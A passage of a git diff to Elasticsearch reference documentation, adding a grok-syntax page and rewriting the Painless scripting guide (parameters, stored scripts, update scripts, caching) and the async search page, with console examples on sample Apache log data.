emit(Integer.parseInt(response)); + """ + } + }, + "query": { + "match": { + "http.response": "304" + } + }, + "fields" : ["http.response"] +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index", + "_id" : "D47UqXkBByC8cgZrkbOm", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:31:22-05:00", + "message" : "247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0" + }, + "fields" : { + "http.response" : [ + 304 + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "D47UqXkBByC8cgZrkbOm"/"_id": $body.hits.hits.0._id/] \ No newline at end of file diff --git a/docs/reference/scripting/fields.asciidoc b/docs/reference/scripting/fields.asciidoc index e83b54c932882..b8b62eabe72da 100644 --- a/docs/reference/scripting/fields.asciidoc +++ b/docs/reference/scripting/fields.asciidoc @@ -121,7 +121,7 @@ It cannot return JSON objects. The `doc['field']` will throw an error if `field` is missing from the mappings. In `painless`, a check can first be done with `doc.containsKey('field')` to guard -accessing the `doc` map. Unfortunately, there is no way to check for the +accessing the `doc` map. Unfortunately, there is no way to check for the existence of the field in mappings in an `expression` script. =================================================== @@ -133,7 +133,7 @@ existence of the field in mappings in an `expression` script. The `doc['field']` syntax can also be used for <> if <> is enabled, but *BEWARE*: enabling fielddata on a `text` field requires loading all of the terms into the JVM heap, which can be -very expensive both in terms of memory and CPU. It seldom makes sense to +very expensive both in terms of memory and CPU. It seldom makes sense to access `text` fields from scripts. =================================================== @@ -250,7 +250,7 @@ GET my-index-000001/_search ======================================================= The `_source` field is just a special stored field, so the performance is -similar to that of other stored fields. The `_source` provides access to the +similar to that of other stored fields. The `_source` provides access to the original document body that was indexed (including the ability to distinguish `null` values from empty fields, single-value arrays from plain scalars, etc). diff --git a/docs/reference/scripting/grok-syntax.asciidoc b/docs/reference/scripting/grok-syntax.asciidoc new file mode 100644 index 0000000000000..03c5811d9594d --- /dev/null +++ b/docs/reference/scripting/grok-syntax.asciidoc @@ -0,0 +1,235 @@ +[[grok]] +=== Grokking grok +Grok is a regular expression dialect that supports reusable aliased expressions. Grok works really well with syslog logs, Apache and other webserver +logs, mysql logs, and generally any log format that is written for humans and +not computer consumption. + +Grok sits on top of the https://github.com/kkos/oniguruma/blob/master/doc/RE[Oniguruma] regular expression library, so any regular expressions are +valid in grok. Grok uses this regular expression language to allow naming +existing patterns and combining them into more complex patterns that match your +fields. + +[[grok-syntax]] +==== Grok patterns +The {stack} ships with numerous https://github.com/elastic/elasticsearch/blob/master/libs/grok/src/main/resources/patterns/grok-patterns[predefined grok patterns] that simplify working with grok. The syntax for reusing grok patterns +takes one of the following forms: + +[%autowidth] +|=== +|`%{SYNTAX}` | `%{SYNTAX:ID}` |`%{SYNTAX:ID:TYPE}` +|=== + +`SYNTAX`:: +The name of the pattern that will match your text. For example, `NUMBER` and +`IP` are both patterns that are provided within the default patterns set. The +`NUMBER` pattern matches data like `3.44`, and the `IP` pattern matches data +like `55.3.244.1`. + +`ID`:: +The identifier you give to the piece of text being matched. For example, `3.44` +could be the duration of an event, so you might call it `duration`. The string +`55.3.244.1` might identify the `client` making a request. + +`TYPE`:: +The data type you want to cast your named field. `int`, `long`, `double`, +`float` and `boolean` are supported types. + +For example, let's say you have message data that looks like this: + +[source,txt] +---- +3.44 55.3.244.1 +---- + +The first value is a number, followed by what appears to be an IP address. You +can match this text by using the following grok expression: + +[source,txt] +---- +%{NUMBER:duration} %{IP:client} +---- + +[[grok-patterns]] +==== Use grok patterns in Painless scripts +You can incorporate predefined grok patterns into Painless scripts to extract +data. To test your script, use either the {painless}/painless-execute-api.html#painless-execute-runtime-field-context[field contexts] of the Painless +execute API or create a runtime field that includes the script. Runtime fields +offer greater flexibility and accept multiple documents, but the Painless +execute API is a great option if you don't have write access on a cluster +where you're testing a script. + +TIP: If you need help building grok patterns to match your data, use the +{kibana-ref}/xpack-grokdebugger.html[Grok Debugger] tool in {kib}. + +For example, if you're working with Apache log data, you can use the +`%{COMMONAPACHELOG}` syntax, which understands the structure of Apache logs. A +sample document might look like this: + +// Note to contributors that the line break in the following example is +// intentional to promote better readability in the output +[source,js] +---- +"timestamp":"2020-04-30T14:30:17-05:00","message":"40.135.0.0 - - +[30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" +---- +// NOTCONSOLE + +To extract the IP address from the `message` field, you can write a Painless +script that incorporates the `%{COMMONAPACHELOG}` syntax. You can test this +script using the {painless}/painless-execute-api.html#painless-runtime-ip[`ip` field context] of the Painless execute API, but let's use a runtime field +instead. + +Based on the sample document, index the `@timestamp` and `message` fields. To +remain flexible, use `wildcard` as the field type for `message`: + +[source,console] +---- +PUT /my-index/ +{ + "mappings": { + "properties": { + "@timestamp": { + "format": "strict_date_optional_time||epoch_second", + "type": "date" + }, + "message": { + "type": "wildcard" + } + } + } +} +---- + +Next, use the <> to index some log data into +`my-index`. + +[source,console] +---- +POST /my-index/_bulk?refresh +{"index":{}} +{"timestamp":"2020-04-30T14:30:17-05:00","message":"40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:30:53-05:00","message":"232.0.0.0 - - [30/Apr/2020:14:30:53 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:12-05:00","message":"26.1.0.0 - - [30/Apr/2020:14:31:12 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:19-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:19 -0500] \"GET /french/splash_inet.html HTTP/1.0\" 200 3781"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:22-05:00","message":"247.37.0.0 - - [30/Apr/2020:14:31:22 -0500] \"GET /images/hm_nbg.jpg HTTP/1.0\" 304 0"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:27-05:00","message":"252.0.0.0 - - [30/Apr/2020:14:31:27 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736"} +{"index":{}} +{"timestamp":"2020-04-30T14:31:28-05:00","message":"not a valid apache log"} +---- +// TEST[continued] + +[[grok-patterns-runtime]] +==== Incorporate grok patterns and scripts in runtime fields +Now you can define a runtime field in the mappings that includes your Painless +script and grok pattern. If the pattern matches, the script emits the value of +the matching IP address. If the pattern doesn't match (`clientip != null`), the +script just returns the field value without crashing. + +[source,console] +---- +PUT my-index/_mappings +{ + "runtime": { + "http.clientip": { + "type": "ip", + "script": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); + """ + } + } +} +---- +// TEST[continued] + +Alternatively, you can define the same runtime field but in the context of a +search request. The runtime definition and the script are exactly the same as +the one defined previously in the index mapping. Just copy that definition into +the search request under the `runtime_mappings` section and include a query +that matches on the runtime field. This query returns the same results as if +you <> for the `http.clientip` +runtime field in your index mappings, but only in the context of this specific +search: + +[source,console] +---- +GET my-index/_search +{ + "runtime_mappings": { + "http.clientip": { + "type": "ip", + "script": """ + String clientip=grok('%{COMMONAPACHELOG}').extract(doc["message"].value)?.clientip; + if (clientip != null) emit(clientip); + """ + } + }, + "query": { + "match": { + "http.clientip": "40.135.0.0" + } + }, + "fields" : ["http.clientip"] +} +---- +// TEST[continued] + +[[grok-pattern-results]] +==== Return calculated results +Using the `http.clientip` runtime field, you can define a simple query to run a +search for a specific IP address and return all related fields. The <> parameter on the `_search` API works for all fields, +even those that weren't sent as part of the original `_source`: + +[source,console] +---- +GET my-index/_search +{ + "query": { + "match": { + "http.clientip": "40.135.0.0" + } + }, + "fields" : ["http.clientip"] +} +---- +// TEST[continued] +// TEST[s/_search/_search\?filter_path=hits/] + +The response includes the specific IP address indicated in your search query. +The grok pattern within the Painless script extracted this value from the +`message` field at runtime. + +[source,console-result] +---- +{ + "hits" : { + "total" : { + "value" : 1, + "relation" : "eq" + }, + "max_score" : 1.0, + "hits" : [ + { + "_index" : "my-index", + "_id" : "1iN2a3kBw4xTzEDqyYE0", + "_score" : 1.0, + "_source" : { + "timestamp" : "2020-04-30T14:30:17-05:00", + "message" : "40.135.0.0 - - [30/Apr/2020:14:30:17 -0500] \"GET /images/hm_bg.jpg HTTP/1.0\" 200 24736" + }, + "fields" : { + "http.clientip" : [ + "40.135.0.0" + ] + } + } + ] + } +} +---- +// TESTRESPONSE[s/"_id" : "1iN2a3kBw4xTzEDqyYE0"/"_id": $body.hits.hits.0._id/] diff --git a/docs/reference/scripting/painless.asciidoc b/docs/reference/scripting/painless.asciidoc index 82d886589d252..8e0900be35085 100644 --- a/docs/reference/scripting/painless.asciidoc +++ b/docs/reference/scripting/painless.asciidoc @@ -1,32 +1,34 @@ [[modules-scripting-painless]] == Painless scripting language -_Painless_ is a simple, secure scripting language designed specifically for use -with Elasticsearch. It is the default scripting language for Elasticsearch and -can safely be used for inline and stored scripts. To get started with -Painless, see the {painless}/painless-guide.html[Painless Guide]. For a -detailed description of the Painless syntax and language features, see the -{painless}/painless-lang-spec.html[Painless Language Specification]. +_Painless_ is a performant, secure scripting language designed specifically for +{es}. You can use Painless to safely write inline and stored scripts anywhere +scripts are supported in {es}. [[painless-features]] -You can use Painless anywhere scripts can be used in Elasticsearch. Painless -provides: - -* Fast performance: Painless scripts https://benchmarks.elastic.co/index.html#search_qps_scripts[ -run several times faster] than the alternatives. - -* Safety: Fine-grained allowlists with method call/field granularity. See the -{painless}/painless-api-reference.html[Painless API Reference] for a -complete list of available classes and methods. - -* Optional typing: Variables and parameters can use explicit types or the -dynamic `def` type. - -* Syntax: Extends a subset of Java's syntax to provide additional scripting -language features. - -* Optimizations: Designed specifically for Elasticsearch scripting. - -Ready to start scripting with Painless? See the -{painless}/painless-guide.html[Painless Guide] for the -{painless}/index.html[Painless Scripting Language]. \ No newline at end of file +Painless provides numerous capabilities that center around the following +core principles: + +* **Safety**: Ensuring the security of your cluster is of utmost importance. To +that end, Painless uses a fine-grained allowlist with a granularity down to the +members of a class. Anything that is not part of the allowlist results in a +compilation error. See the +{painless}/painless-api-reference.html[Painless API Reference] +for a complete list of available classes, methods, and fields per script +context. +* **Performance**: Painless compiles directly into JVM bytecode to take +advantage of all possible optimizations that the JVM provides. Also, Painless +typically avoids features that require additional slower checks at runtime. +* **Simplicity**: Painless implements a syntax with a natural familiarity to +anyone with some basic coding experience. Painless uses a subset of Java syntax +with some additional improvements to enhance readability and remove +boilerplate. + +[discrete] +=== Start scripting +Ready to start scripting with Painless? Learn how to +<>. + +If you're already familiar with Painless, see the +{painless}/painless-lang-spec.html[Painless Language Specification] for a +detailed description of the Painless syntax and language features. diff --git a/docs/reference/scripting/security.asciidoc b/docs/reference/scripting/security.asciidoc index 505c4db3f3f51..db81f57a7d754 100644 --- a/docs/reference/scripting/security.asciidoc +++ b/docs/reference/scripting/security.asciidoc @@ -79,12 +79,12 @@ security of the Elasticsearch deployment. === Allowed script types setting Elasticsearch supports two script types: `inline` and `stored` (<>). -By default, {es} is configured to run both types of scripts. -To limit what type of scripts are run, set `script.allowed_types` to `inline` or `stored`. +By default, {es} is configured to run both types of scripts. +To limit what type of scripts are run, set `script.allowed_types` to `inline` or `stored`. To prevent any scripts from running, set `script.allowed_types` to `none`. -IMPORTANT: If you use {kib}, set `script.allowed_types` to `both` or `inline`. -Some {kib} features rely on inline scripts and do not function as expected +IMPORTANT: If you use {kib}, set `script.allowed_types` to `both` or `inline`. +Some {kib} features rely on inline scripts and do not function as expected if {es} does not allow inline scripts. For example, to run `inline` scripts but not `stored` scripts, specify: @@ -101,9 +101,9 @@ script.allowed_types: inline <1> [discrete] === Allowed script contexts setting -By default all script contexts are allowed to be executed. This can be modified using the -setting `script.allowed_contexts`. Only the contexts specified as part of the setting will -be allowed to be executed. To specify no contexts are allowed, set `script.allowed_contexts` +By default all script contexts are allowed to be executed. This can be modified using the +setting `script.allowed_contexts`. Only the contexts specified as part of the setting will +be allowed to be executed. To specify no contexts are allowed, set `script.allowed_contexts` to be `none`. [source,yaml] diff --git a/docs/reference/scripting/using.asciidoc b/docs/reference/scripting/using.asciidoc index 799cde3b087db..c740ff3decc61 100644 --- a/docs/reference/scripting/using.asciidoc +++ b/docs/reference/scripting/using.asciidoc @@ -1,39 +1,76 @@ [[modules-scripting-using]] -== How to use scripts +== How to write scripts -Wherever scripting is supported in the Elasticsearch API, the syntax follows -the same pattern: +Wherever scripting is supported in the {es} APIs, the syntax follows the same +pattern; you specify the language of your script, provide the script logic (or +source, and add parameters that are passed into the script: [source,js] ------------------------------------- "script": { - "lang": "...", <1> - "source" | "id": "...", <2> - "params": { ... } <3> + "lang": "...", + "source" | "id": "...", + "params": { ... } } ------------------------------------- // NOTCONSOLE -<1> The language the script is written in, which defaults to `painless`. -<2> The script itself which may be specified as `source` for an inline script or `id` for a stored script. -<3> Any named parameters that should be passed into the script. -For example, the following script is used in a search request to return a -<>: +`lang`:: + + Specifies the language the script is written in. Defaults to `painless`. + +`source`, `id`:: + + The script itself, which you specify as `source` for an inline script or + `id` for a stored script. Use the <> + to create and manage stored scripts. + +`params`:: + + Specifies any named parameters that are passed into the script as + variables. <> instead of hard-coded values to decrease compile time. + +[discrete] +[[hello-world-script]] +=== Write your first script +<> is the default scripting language +for {es}. It is secure, performant, and provides a natural syntax for anyone +with a little coding experience. + +A Painless script is structured as one or more statements and optionally +has one or more user-defined functions at the beginning. A script must always +have at least one statement. + +The {painless}/painless-execute-api.html[Painless execute API] provides the ability to +test a script with simple user-defined parameters and receive a result. Let's +start with a complete script and review its constituent parts. + +First, index a document with a single field so that we have some data to work +with: [source,console] -------------------------------------- +---- PUT my-index-000001/_doc/1 { "my_field": 5 } +---- + +We can then construct a script that operates on that field and run evaluate the +script as part of a query. The following query uses the +<> parameter of the search API to retrieve a +script valuation. There's a lot happening here, but we'll break it down the +components to understand them individually. For now, you only need to +understand that this script takes `my_field` and operates on it. +[source,console] +---- GET my-index-000001/_search { "script_fields": { "my_doubled_field": { - "script": { - "lang": "expression", - "source": "doc['my_field'] * multiplier", + "script": { <1> + "source": "doc['my_field'].value * params['multiplier']", <2> "params": { "multiplier": 2 } @@ -41,158 +78,168 @@ GET my-index-000001/_search } } } -------------------------------------- - -[discrete] -=== Script parameters - -`lang`:: - - Specifies the language the script is written in. Defaults to `painless`. - - -`source`, `id`:: - - Specifies the source of the script. An `inline` script is specified - `source` as in the example above. A `stored` script is specified `id` - and is retrieved from the cluster state (see <>). - - -`params`:: +---- +// TEST[continued] +<1> `script` object +<2> `script` source - Specifies any named parameters that are passed into the script as - variables. +The `script` is a standard JSON object that defines scripts under most APIs +in {es}. This object requires `source` to define the script itself. The +script doesn't specify a language, so it defaults to Painless. -[IMPORTANT] +[discrete] [[prefer-params]] -.Prefer parameters -======================================== - -The first time Elasticsearch sees a new script, it compiles it and stores the -compiled version in a cache. Compilation can be a heavy process. - -If you need to pass variables into the script, you should pass them in as -named `params` instead of hard-coding values into the script itself. For -example, if you want to be able to multiply a field value by different -multipliers, don't hard-code the multiplier into the script: - -[source,js] ----------------------- - "source": "doc['my_field'] * 2" ----------------------- -// NOTCONSOLE - -Instead, pass it in as a named parameter: - -[source,js] ----------------------- - "source": "doc['my_field'] * multiplier", - "params": { - "multiplier": 2 - } ----------------------- -// NOTCONSOLE +=== Use parameters in your script -The first version has to be recompiled every time the multiplier changes. The -second version is only compiled once. +The first time {es} sees a new script, it compiles the script and stores the +compiled version in a cache. Compilation can be a heavy process. Rather than +hard-coding values in your script, pass them as named `params` instead. -If you compile too many unique scripts within a small amount of time, -Elasticsearch will reject the new dynamic scripts with a -`circuit_breaking_exception` error. For most contexts, you can compile up to 75 -scripts per 5 minutes by default. For ingest contexts, the default script -compilation rate is unlimited. You can change these settings dynamically by -setting `script.context.$CONTEXT.max_compilations_rate` eg. -`script.context.field.max_compilations_rate=100/10m`. +For example, in the previous script, we could have just hard coded values and +written a script that is seemingly less complex. We could just retrieve the +first value for `my_field` and then multiply it by `2`: -======================================== +[source,painless] +---- +"source": "return doc['my_field'].value * 2" +---- -[discrete] -[[modules-scripting-short-script-form]] -=== Short script form -A short script form can be used for brevity. In the short form, `script` is represented -by a string instead of an object. This string contains the source of the script. +Though it works, this solution is pretty inflexible. We have to modify the +script source to change the multiplier, and {es} has to recompile the script +every time that the multiplier changes. -Short form: +Instead of hard-coding values, use named `params` to make scripts flexible, and +also reduce compilation time when the script runs. You can now make changes to +the `multiplier` parameter without {es} recompiling the script. -[source,js] ----------------------- - "script": "ctx._source.my-int++" ----------------------- -// NOTCONSOLE +[source,painless] +---- +"source": "doc['my_field'].value * params['multiplier']", +"params": { + "multiplier": 2 +} +---- -The same script in the normal form: +For most contexts, you can compile up to 75 scripts per 5 minutes by default. +For ingest contexts, the default script compilation rate is unlimited. You +can change these settings dynamically by setting +`script.context.$CONTEXT.max_compilations_rate`. For example, the following +setting limits script compilation to 100 scripts every 10 minutes for the +{painless}/painless-field-context.html[field context]: [source,js] ----------------------- - "script": { - "source": "ctx._source.my-int++" - } ----------------------- +---- +script.context.field.max_compilations_rate=100/10m +---- // NOTCONSOLE -[discrete] -[[modules-scripting-stored-scripts]] -=== Stored scripts - -Scripts may be stored in and retrieved from the cluster state using the -`_scripts` end-point. - -If the {es} {security-features} are enabled, you must have the following -privileges to create, retrieve, and delete stored scripts: - -* cluster: `all` or `manage` - -For more information, see <>. - +IMPORTANT: If you compile too many unique scripts within a short time, {es} +rejects the new dynamic scripts with a `circuit_breaking_exception` error. [discrete] -==== Request examples +[[script-shorten-syntax]] +=== Shorten your script +Using syntactic abilities that are native to Painless, you can reduce verbosity +in your scripts and make them shorter. Here's a simple script that we can make +shorter: -The following are examples of using a stored script that lives at -`/_scripts/{id}`. +[source,console] +---- +GET my-index-000001/_search +{ + "script_fields": { + "my_doubled_field": { + "script": { + "lang": "painless", + "source": "return doc['my_field'].value * params.get('multiplier');", + "params": { + "multiplier": 2 + } + } + } + } +} +---- +// TEST[s/^/PUT my-index-000001\n/] -First, create the script called `calculate-score` in the cluster state: +Let's look at a shortened version of the script to see what improvements it +includes over the previous iteration: [source,console] ------------------------------------ -POST _scripts/calculate-score +---- +GET my-index-000001/_search { - "script": { - "lang": "painless", - "source": "Math.log(_score * 2) + params.my_modifier" + "script_fields": { + "my_doubled_field": { + "script": { + "source": "doc['my_field'].value * params['multiplier']", + "params": { + "multiplier": 2 + } + } + } } } ------------------------------------ -// TEST[setup:my_index] +---- +// TEST[s/^/PUT my-index-000001\n/] + +This version of the script removes several components and simplifies the syntax +significantly: + +* The `lang` declaration. Because Painless is the default language, you don't +need to specify the language if you're writing a Painless script. +* The `return` keyword. Painless automatically uses the final statement in a +script (when possible) to produce a return value in a script context that +requires one. +* The `get` method, which is replaced with brackets `[]`. Painless +uses a shortcut specifically for the `Map` type that allows us to use brackets +instead of the lengthier `get` method. +* The semicolon at the end of the `source` statement. Painless does not +require semicolons for the final statement of a block. However, it does require +them in other cases to remove ambiguity. + +Use this abbreviated syntax anywhere that {es} supports scripts, such as +when you're creating <>. -You may also specify a context as part of the url path to compile a -stored script against that specific context in the form of -`/_scripts/{id}/{context}`: +[discrete] +[[script-stored-scripts]] +=== Store and retrieve scripts +You can store and retrieve scripts from the cluster state using the +<>. Stored scripts reduce compilation +time and make searches faster. + +NOTE: Unlike regular scripts, stored scripts require that you specify a script +language using the `lang` parameter. + +To create a script, use the <>. For example, the following request creates a stored script named +`calculate-score`. [source,console] ------------------------------------ -POST _scripts/calculate-score/score +---- +POST _scripts/calculate-score { "script": { "lang": "painless", - "source": "Math.log(_score * 2) + params.my_modifier" + "source": "Math.log(_score * 2) + params['my_modifier']" } } ------------------------------------ -// TEST[setup:my_index] +---- -This same script can be retrieved with: +You can retrieve that script by using the <>. [source,console] ------------------------------------ +---- GET _scripts/calculate-score ------------------------------------ +---- // TEST[continued] -Stored scripts can be used by specifying the `id` parameters as follows: +To use the stored script in a query, include the script `id` in the `script` +declaration: [source,console] --------------------------------------------------- +---- GET my-index-000001/_search { "query": { @@ -203,7 +250,7 @@ GET my-index-000001/_search } }, "script": { - "id": "calculate-score", + "id": "calculate-score", <1> "params": { "my_modifier": 2 } @@ -211,68 +258,183 @@ GET my-index-000001/_search } } } --------------------------------------------------- +---- +// TEST[setup:my_index] // TEST[continued] +<1> `id` of the stored script -And deleted with: +To delete a stored script, submit a <> request. [source,console] ------------------------------------ +---- DELETE _scripts/calculate-score ------------------------------------ +---- // TEST[continued] [discrete] -[[modules-scripting-search-templates]] -=== Search templates -You can also use the `_scripts` API to store **search templates**. Search -templates save specific <> with placeholder -values, called template parameters. +[[scripts-update-scripts]] +=== Update documents with scripts +You can use the <> to update documents with a specified +script. The script can update, delete, or skip modifying the document. The +update API also supports passing a partial document, which is merged into the +existing document. -You can use stored search templates to run searches without writing out the -entire query. Just provide the stored template's ID and the template parameters. -This is useful when you want to run a commonly used query quickly and without -mistakes. +First, let's index a simple document: -Search templates use the https://mustache.github.io/mustache.5.html[mustache -templating language]. See <> for more information and examples. +[source,console] +---- +PUT my-index-000001/_doc/1 +{ + "counter" : 1, + "tags" : ["red"] +} +---- -[discrete] -[[modules-scripting-using-caching]] -=== Script caching +To increment the counter, you can submit an update request with the following +script: -All scripts are cached by default so that they only need to be recompiled -when updates occur. By default, scripts do not have a time-based expiration, but -you can change this behavior by using the `script.cache.expire` setting. -You can configure the size of this cache by using the `script.cache.max_size` setting. -For most contexts, the default cache size is `100`. For ingest contexts, the -default cache size is `200`. +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script" : { + "source": "ctx._source.counter += params.count", + "lang": "painless", + "params" : { + "count" : 4 + } + } +} +---- +// TEST[continued] + +Similarly, you can use an update script to add a tag to the list of tags. +Because this is just a list, the tag is added even it exists: + +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script": { + "source": "ctx._source.tags.add(params['tag'])", + "lang": "painless", + "params": { + "tag": "blue" + } + } +} +---- +// TEST[continued] + +You can also remove a tag from the list of tags. The `remove` method of a Java +`List` is available in Painless. It takes the index of the element you +want to remove. To avoid a possible runtime error, you first need to make sure +the tag exists. If the list contains duplicates of the tag, this script just +removes one occurrence. + +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script": { + "source": "if (ctx._source.tags.contains(params['tag'])) { ctx._source.tags.remove(ctx._source.tags.indexOf(params['tag'])) }", + "lang": "painless", + "params": { + "tag": "blue" + } + } +} +---- +// TEST[continued] + +You can also add and remove fields from a document. For example, this script +adds the field `new_field`: + +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script" : "ctx._source.new_field = 'value_of_new_field'" +} +---- +// TEST[continued] + +Conversely, this script removes the field `new_field`: + +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script" : "ctx._source.remove('new_field')" +} +---- +// TEST[continued] + +Instead of updating the document, you can also change the operation that is +executed from within the script. For example, this request deletes the document +if the `tags` field contains `green`. Otherwise it does nothing (`noop`): -NOTE: The size of scripts is limited to 65,535 bytes. This can be -changed by setting `script.max_size_in_bytes` setting to increase that soft -limit, but if scripts are really large then a -<> should be considered. +[source,console] +---- +POST my-index-000001/_update/1 +{ + "script": { + "source": "if (ctx._source.tags.contains(params['tag'])) { ctx.op = 'delete' } else { ctx.op = 'none' }", + "lang": "painless", + "params": { + "tag": "green" + } + } +} +---- +// TEST[continued] [[scripts-and-search-speed]] -=== Scripts and search speed +=== Scripts, caching, and search speed +{es} performs a number of optimizations to make using scripts as fast as +possible. One important optimization is a script cache. The compiled script is +placed in a cache so that requests that reference the script do not incur a +compilation penalty. + +Cache sizing is important. Your script cache should be large enough to hold all +of the scripts that users need to be accessed concurrently. + +If you see a large number of script cache evictions and a rising number of +compilations in <>, your cache might be too +small. -Scripts can't make use of {es}'s index structures or related optimizations. This -can sometimes result in slower search speeds. +All scripts are cached by default so that they only need to be recompiled +when updates occur. By default, scripts do not have a time-based expiration. +You can change this behavior by using the `script.cache.expire` setting. +Use the `script.cache.max_size` setting to configure the size of the cache. + +NOTE: The size of scripts is limited to 65,535 bytes. Set the value of `script.max_size_in_bytes` to increase that soft limit. If your scripts are +really large, then consider using a +<>. + +[discrete] +==== Improving search speed +Scripts are incredibly useful, but can't use {es}'s index structures or related +optimizations. This relationship can sometimes result in slower search speeds. -If you often use scripts to transform indexed data, you can speed up search by -making these changes during ingest instead. However, that often means slower -index speeds. +If you often use scripts to transform indexed data, you can make search faster +by transforming data during ingest instead. However, that often means slower +index speeds. Let's look at a practical example to illustrate how you can +increase search speed. -.*Example* -[%collapsible] -===== -An index, `my_test_scores`, contains two `long` fields: +When running searches, it's common to sort results by the sum of two values. +For example, consider an index named `my_test_scores` that contains test score +data. This index includes two fields of type `long`: * `math_score` * `verbal_score` -When running searches, users often use a script to sort results by the sum of -these two field's values. +You can run a query with a script that adds these values together. There's +nothing wrong with this approach, but the query will be slower because the +script valuation occurs as part of the request. The following request returns +documents where `grad_year` equals `2099`, and sorts by the results by the +valuation of the script. [source,console] ---- @@ -298,12 +460,12 @@ GET /my_test_scores/_search ---- // TEST[s/^/PUT my_test_scores\n/] -To speed up search, you can perform this calculation during ingest and index the -sum to a field instead. +If you're searching a small index, then including the script as part of your +search query can be a good solution. If you want to make search faster, you can +perform this calculation during ingest and index the sum to a field instead. -First, <>, `total_score`, to the index. The -`total_score` field will contain sum of the `math_score` and `verbal_score` -field values. +First, we'll add a new field to the index named `total_score`, which will +contain sum of the `math_score` and `verbal_score` field values. [source,console] ---- @@ -319,7 +481,7 @@ PUT /my_test_scores/_mapping // TEST[continued] Next, use an <> containing the -<> processor to calculate the sum of `math_score` and +<> to calculate the sum of `math_score` and `verbal_score` and index it in the `total_score` field. [source,console] @@ -339,7 +501,7 @@ PUT _ingest/pipeline/my_test_scores_pipeline // TEST[continued] To update existing data, use this pipeline to <> any -documents from `my_test_scores` to a new index, `my_test_scores_2`. +documents from `my_test_scores` to a new index named `my_test_scores_2`. [source,console] ---- @@ -364,15 +526,16 @@ POST /my_test_scores_2/_doc/?pipeline=my_test_scores_pipeline { "student": "kimchy", "grad_year": "2099", - "math_score": 800, + "math_score": 1200, "verbal_score": 800 } ---- // TEST[continued] -These changes may slow indexing but allow for faster searches. Users can now -sort searches made on `my_test_scores_2` using the `total_score` field instead -of using a script. +These changes slow the index process, but allow for faster searches. Instead of +using a script, you can sort searches made on `my_test_scores_2` using the +`total_score` field. The response is near real-time! Though this process slows +ingest time, it greatly increases queries at search time. [source,console] ---- @@ -401,25 +564,7 @@ DELETE /_ingest/pipeline/my_test_scores_pipeline ---- // TEST[continued] -[source,console-result] ----- -{ -"acknowledged": true -} ----- //// -===== - -We recommend testing and benchmarking any indexing changes before deploying them -in production. - -[discrete] -[[modules-scripting-errors]] -=== Script errors -Elasticsearch returns error details when there is a compliation or runtime -exception. The contents of this response are useful for tracking down the -problem. - -experimental[] -The contents of `position` are experimental and subject to change. +include::dissect-syntax.asciidoc[] +include::grok-syntax.asciidoc[] diff --git a/docs/reference/search.asciidoc b/docs/reference/search.asciidoc index 6ac76b25cc77b..354d6af6df32d 100644 --- a/docs/reference/search.asciidoc +++ b/docs/reference/search.asciidoc @@ -18,6 +18,7 @@ exception of the <>. * <> * <> * <> +* <> [discrete] [[search-testing-apis]] @@ -79,6 +80,8 @@ include::search/count.asciidoc[] include::search/validate.asciidoc[] +include::search/terms-enum.asciidoc[] + include::search/explain.asciidoc[] include::search/profile.asciidoc[] diff --git a/docs/reference/search/async-search.asciidoc b/docs/reference/search/async-search.asciidoc index 1327bb58e66f2..6af34d2069f5f 100644 --- a/docs/reference/search/async-search.asciidoc +++ b/docs/reference/search/async-search.asciidoc @@ -3,15 +3,14 @@ [[async-search]] === Async search -The async search API let you asynchronously execute a -search request, monitor its progress, and retrieve partial results -as they become available. +The async search API let you asynchronously execute a search request, monitor +its progress, and retrieve partial results as they become available. [[submit-async-search]] ==== Submit async search API -Executes a search request asynchronously. It accepts the same -parameters and request body as the <>. +Executes a search request asynchronously. It accepts the same parameters and +request body as the <>. [source,console,id=submit-async-search-date-histogram-example] -------------------------------------------------- @@ -33,10 +32,10 @@ POST /sales*/_async_search?size=0 // TEST[setup:sales] // TEST[s/size=0/size=0&wait_for_completion_timeout=10s&keep_on_completion=true/] -The response contains an identifier of the search being executed. -You can use this ID to later retrieve the search's final results. -The currently available search -results are returned as part of the <> object. +The response contains an identifier of the search being executed. You can use +this ID to later retrieve the search's final results. The currently available +search results are returned as part of the +<> object. [source,console-result] -------------------------------------------------- @@ -104,18 +103,17 @@ The `keep_on_completion` parameter, which defaults to `false`, can be set to `true` to request that results are stored for later retrieval also when the search completes within the `wait_for_completion_timeout`. -You can also specify how long the async search needs to be -available through the `keep_alive` parameter, which defaults to `5d` (five days). -Ongoing async searches and any saved search results are deleted after this -period. +You can also specify how long the async search needs to be available through the +`keep_alive` parameter, which defaults to `5d` (five days). Ongoing async +searches and any saved search results are deleted after this period. -NOTE: When the primary sort of the results is an indexed field, shards get -sorted based on minimum and maximum value that they hold for that field, -hence partial results become available following the sort criteria that -was requested. +NOTE: When the primary sort of the results is an indexed field, shards get +sorted based on minimum and maximum value that they hold for that field, hence +partial results become available following the sort criteria that was requested. -The submit async search API supports the same <> -as the search API, though some have different default values: +The submit async search API supports the same +<> as the search API, though some +have different default values: * `batched_reduce_size` defaults to `5`: this affects how often partial results become available, which happens whenever shard results are reduced. A partial @@ -130,17 +128,17 